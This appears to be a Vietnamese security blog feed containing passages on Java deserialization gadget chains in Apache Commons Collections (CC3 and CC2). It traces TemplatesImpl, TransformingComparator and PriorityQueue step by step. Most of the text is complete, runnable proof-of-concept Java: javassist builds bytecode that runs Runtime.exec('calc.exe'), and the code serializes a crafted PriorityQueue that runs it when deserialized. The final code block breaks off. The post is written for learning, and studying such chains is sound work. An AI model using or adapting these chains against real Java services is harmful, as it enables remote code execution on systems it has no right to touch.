        Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);
        Object aihProxyObject = aihConstructor.newInstance(Override.class, proxyMap);
        serialize(aihProxyObject);
        unserialize("ser.bin");
    }
}

Chạy file và máy tính đã bật lên!

Phần thay đổi lấy từ cc1-lazymap, các bạn tìm lại đọc nhé~

Lời kết

Chain này cũng không có gì quá khó khăn vì dựa trên phần đầu của cc1 và phần đuôi của cc2 mà mình đã phân tích. Chỉ khác là nó không đi qua InvokerTranformer mà đi qua InstantiateTransformer kết hợp với TrAXFilter.
Qua ba bài viết về ba gadget chains mình đã dần thấy quen với việc đọc mã nguồn và sâu chuỗi các hàm, class. Mọi thứ dần trở nên dễ dàng hơn một xíu rồi. Hy vọng các bạn cũng như mình!
Phần này mình sử dụng lại các đoạn code từ mấy chain trước nên nếu bạn chưa hiểu thì tìm đọc nhé.

Chúc các bạn học tốt~

]]> Java Deserialization Java Deserialization Commons Collections https://rayinaw.github.io/2023/03/20/CommonsCollections3/#disqus_thread Phân tích chuỗi Commons Collections 2 https://rayinaw.github.io/2022/12/16/CommonsCollections2/ https://rayinaw.github.io/2022/12/16/CommonsCollections2/ Fri, 16 Dec 2022 03:05:45 GMT <h2 id="Mot-vai-kien-thuc-can-nam"><a href="#Mot-vai-kien-thuc-can-nam" class="headerlink" title="Một vài kiến thức cần nắm"></a>Một vài kiế Một vài kiến thức cần nắm

Trước khi vào bài viết chúng ta cần nắm một số kiến thức sau:

  • javassist
  • Hiểu được ChainedTransformer ở CC1, nếu các bạn chưa biết thì tìm đọc lại bài CC1-TransformedMap của mình nhé.

Môi trường

  • JDK8u65
  • Commons-Collections 4.0
    Thêm Commons-Collections 4.0 vào project bằng dependencies:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
        <dependency>  
        <groupId>org.apache.commons</groupId>  
        <artifactId>commons-collections4</artifactId>  
        <version>4.0</version>  
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>

Phân tích

Sơ đồ tóm tắt chuỗi.

Từ TemplateImpl đến OS Command

1
2
3
4
5
6
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
Runtime.getRuntime().exec("calc.exe")

newTransformer()

Trong lớp TemplateImpl tìm đến phương thức TemplateImpl.newTransformer(). Trong phương thức này nó gọi đến TemplateImpl.getTranslateInstance(). Đi đến phương thức này.

Trong phương thức này, chúng ta cần quan tâm đến phương thức TemplateImpl.defineTransletClasses().

Nếu _name không null và _class null thì nó sẽ gọi đến TemplateImpl.defineTransletClasses(). Hai biến này hiện tại mình vẫn chưa rõ là gì bởi chưa rõ lớp TemplateImpl, cứ tiếp tục thôi.

defineTransletClasses()

Đi đến phương thức TemplateImpl.defineTransletClasses().

Đầu tiên để đi tiếp, chúng ta cần _bytecodes khác null.

Trong phương thức này nó thực hiện tạo một TransletClassLoader, TransletClassLoader là một lớp con static của lớp TemplateImpl, và nó implement lớp Classloader. 

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
        public Object run() {
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
        }
    });

loader này thực hiện _class[i] = loader.defineClass(_bytecodes[i]), hàm này sẽ thực hiện phương thức defineClass của lớp ClassLoader ClassLoader.defineClass(null, b, 0, b.length) 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
    throws ClassFormatError
{
    return defineClass(name, b, off, len, null);
}
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                     ProtectionDomain protectionDomain)
    throws ClassFormatError
{
    protectionDomain = preDefineClass(name, protectionDomain);
    String source = defineClassSourceLocation(protectionDomain);
    Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
    postDefineClass(c, protectionDomain);
    return c;
}

Mã nguồn của nó hơi khó hiểu nên mình đọc doc để biết nhanh chức năng của phương thức defineClass.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
defineClass
@Deprecated
protected final Class<?> defineClass(byte[] b,
                              int off,
                              int len)
                              throws ClassFormatError
Deprecated. Replaced by defineClass(String, byte[], int, int)
Converts an array of bytes into an instance of class Class. Before the Class can be used it must be resolved. This method is deprecated in favor of the version that takes a binary name as its first argument, and is more secure.
Parameters:
    b - The bytes that make up the class data. The bytes in positions off through off+len-1 should have the format of a valid class file as defined by The Java™ Virtual Machine Specification.
    off - The start offset in b of the class data
    len - The length of the class data
Returns:
    The Class object that was created from the specified class data
Throws:
    ClassFormatError - If the data did not contain a valid class
    IndexOutOfBoundsException - If either off or len is negative, or if off+len is greater than b.length.
    SecurityException - If an attempt is made to add this class to a package that contains classes that were signed by a different set of certificates than this class, or if an attempt is made to define a class in a package with a fully-qualified name that starts with "java.".

Phương thức này thực hiện chuyển đổi một mảng byte thành một instance của class Class hay nói rõ hơn thì nó tạo ra một object của lớp Class, các bạn có thể đọc ở đây.

Lớp được tạo ra từ _bytecodes[i] gọi đến getSuperClass trả về một super class và lưu vào biến superClass, tên của superClass sẽ được so sánh với “com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”.

1
2
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

Nếu như lớp cha của _class[i] là AbstractTranslet (Hay _Class[i] là class extends AbstractTranslet) thì _transletIndex sẽ được gán bằng i.

Nói chung, sau phương thức defineTransletClasses(), ta có được vị trị của class extends AbstractTranslet là _transletIndex.

_class[_transletIndex] sẽ là lớp chuyển từ _bytecodes và extends AbstractTranslet.

getTransletInstance()

Tiếp tục follow theo chain, đi đến phương thức getTransletInstance.

Nó thực hiện _class[_transletIndex].newInstance(). Điểm hay là ở chổ này, khi một class được khởi tạo (Class.newInstance()) thì nó sẽ tự động thực thi constructor hoặc hàm static.

Cái này thuộc về kiến thức OOP, mình sẽ nói kĩ hơn như sau:

  • Khi tạo một instance của Class bằng phương thức newInstance, nó sẽ bao gồm hai bước:
    Load class: Khi một class được load lên bộ nhớ, các block static sẽ được thực thi. Các bạn chỉ cần hiểu vậy là đủ, còn nếu muốn hiểu sâu hơn thì tìm hiểu về ClassLoader (tốn thời gian lắm nhé!).
    Tạo object: Sau khi class được load lên, constructor sẽ được thực thi để khởi tạo một đối tượng.

Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;

public class App {

    public static void main(String args[]) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        ctClass.writeFile("/Users/rayin_awarf/Desktop");//Viết class Test xuống thư mục này
        File f = new File("/Users/rayin_awarf/Desktop");
        URL[] cp = {f.toURI().toURL()};
        URLClassLoader urlcl = new URLClassLoader(cp);
        Class clazz = urlcl.loadClass("Test");
        //Đoạn trên là lấy class Test ra, không quan trọng lắm. Nếu các bạn có cách hay hơn thì có thể sử dụng.
        Object obj = clazz.newInstance();
        //Sau khi thực hiện newInstance() calc.exe đã được thực thi.
    }
}

Như đã phân tích ở trước _class[_transletIndex] là lớp chuyển từ _bytecodes, vậy nếu bytecodes chúng ta truyền vào này là của một class chứa static hay constructor chứa shell thì chúng ta sẽ trigger được nó.
Có hai cách để làm điều này:

1. javassist

  • Phương thức makeClassInitializer sẽ tạo một constructor.
  • makeClassInitializer().setBody sẽ set nội dung cho hàm constructor này.
    Test thử với POC nhỏ sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import java.lang.reflect.*;

public class cc2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        templates.newTransformer();
    }
}

calc.exe vẫn chưa được kích hoạt, ở đây là do _tfactory chưa được set. _tfactory ở đây là một TransformerFactoryImpl nên chúng ta chỉ cần đặt là new TransformerFactoryImpl().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;

public class cc2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

Máy tính đã được bật.

2. Tạo class rồi load trực tiếp

Khởi tạo class, ở đây mình lấy static để làm ví dụ (cái nào cũng được).
Đặt file Calc.java cùng thư mục với cc2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test1 {
    public static void main(String[] args) throws Exception{
        byte[] shellClass = Files.readAllBytes(Paths.get("C:\\Users\\rayin_awarf\\Desktop\\work\\java\\cc2\\target\\classes\\org\\example\\Calc.class"));
        byte[][] bytes = {shellClass};
        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, bytes);
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

Ok, hướng đi là như thế, bây giờ chúng ta sẽ lợi dụng điều này vào class TemplatesImpl.

  • _name không null
  • _class null
  • _bytecodes là bytecodes của lớp cần truyền vào.

Kết hợp với lớp InvokerTransformer

Ở cc1 theo TransformedMap, mình đã phân tích về lớp này. Mình sẽ tóm gọn lại như sau:

  • Phương thức transform của lớp này sẽ thực thi phương thức mà ta truyền vào ở invokerTransformer của object truyền vào hàm transform.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.*;

public class cc2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        invokerTransformer.transform(templates);
    }
}

Ctrl + chuột trái nhấn vào phương thức transform của lớp InvokerTransformer để tìm lớp sử dụng phương thức này, lớp TransformingComparator là lớp chúng ta cần chú ý đến.

Lớp này có phương thức compare sử dụng transformer.transform().

Phân tích một chút, hàm tạo của lớp này lấy một Transformer gán vào biến transformer, ở đây chúng ta có thể thay bằng InvokerTransformer. Hàm compare sẽ thực thi transform cho object truyền vào nó với Transformer được truyền từ hàm tạo. Từ đây chúng ta có đoạn code ngắn sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.*;

public class cc2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        //invokerTransformer.transform(templates);
        TransformingComparator transformingComparator = new TransformingComparator( invokerTransformer);
        transformingComparator.compare(templates, null);
    }
}

Tiếp theo chúng ta cần lớp gọi đến TransformingComparator.compare.

Đi đến phương thức siftDownUsingComparator của lớp PriorityQueue. Phương thức này sử dụng comparator.compare với comparator là một instance của interface Comparator, do đó nó có thể làm biến chứa cho các lớp implements interface Comparator, từ đây chúng ta có thể thay biến comparator bằng một TransformingComparator.

Vì siftDownUsingComparator là một phương thức private nên chúng ta cần tìm phương thức gọi đến nó. Mò từ từ ta thấy được: readObject-->heapify-->siftDown-->sifDownUsingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

Hàm heapify loop hết các phần tử trong queue để siftDown(i, (E) queue[i]), ctr + chuột trái tiếp vào hàm heapify. Mảng queue được set ở hàm readObject rồi thực hiện heapify(). 

1
2
3
4
5
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

queue ở đây chỉ là đọc từ đối tượng mình serialize. Sau khi đọc dữ liệu gán vào queue, nó thực hiện heapify.
Quá thuận lợi, bây giờ chỉ còn bước còn lại để xây dựng POC.

Ta có hai phương án để thực hiện:

  • Sử dụng ChainedTransformer để tự động thực hiện mà không cần thông qua queue
  • Set giá trị cho queue

Hoàn thiện chain

Set giá trị cho queue

Để set giá trị cho queue, chúng ta sẽ sử dụng hàm PriorityQueue.add().
Xem rõ phương thức này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        //invokerTransformer.transform(templates);
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        //transformingComparator.compare(null, null);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);

        serialize(priorityQueue);
        //unserialize("ser.bin");
    }
}

Tuy nhiên như này thì nó đã chạy câu lệnh trước khi chúng ta thực hiện unserialize. Set breakpoint ở hàm add để xem lý do.

Ta thấy ở lần add thứ 2, phương thức add gọi đến offer –> siftUp –> siftUpUsingComparator –> Comparator.compare.

Để không thực hiện cái này, ở hàm siftUp nó check Comparator nếu Comparator bằng null thì nó sẽ không thực hiện Comparator.compare. Do đó chúng có thể thực hiện set Comparator sau add giá trị vào priorityQueue. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        //invokerTransformer.transform(templates);
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        //transformingComparator.compare(null, null);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, null);
        priorityQueue.add(templates);

        serialize(priorityQueue);
        //unserialize("ser.bin");
    }
}

Tuy nhiên nếu không set comparator khi gọi đến siftUpComparable nó sẽ xuất hiện lỗi com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.Comparable. Do đó chúng ta phải nghĩ cách khác.

Add trước rồi set sau, ta có full change:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        //invokerTransformer.transform(templates);
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        //transformingComparator.compare(null, null);
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(0);
        priorityQueue.add(1);
//        priorityQueue.add(templates);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, transformingComparator);

        Field queue=priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(priorityQueue,new Object[]{templates,templates});
        //Sau khi set, queue[0], queue[1] trở thành TemplateImpl

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
}

Sử dụng ChainedTransformer

Về ChainedTransformer mình đã giải thích ở CC1-TransformedMap, các bạn có thể xem lại ở bài viết đó.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.*;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(
                new ConstantTransformer<>(templates),
                invokerTransformer
        );
        //invokerTransformer.transform(templates);
        TransformingComparator transformingComparator = new TransformingComparator( chainedTransformer);
        transformingComparator.compare(null, null);
    }
}

Tuy nhiên, chúng ta gặp một vấn đề là máy tính được bật lên trước khi serialize object, dẫn đến việc dừng chương trình như đoạn mã dưới đây.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
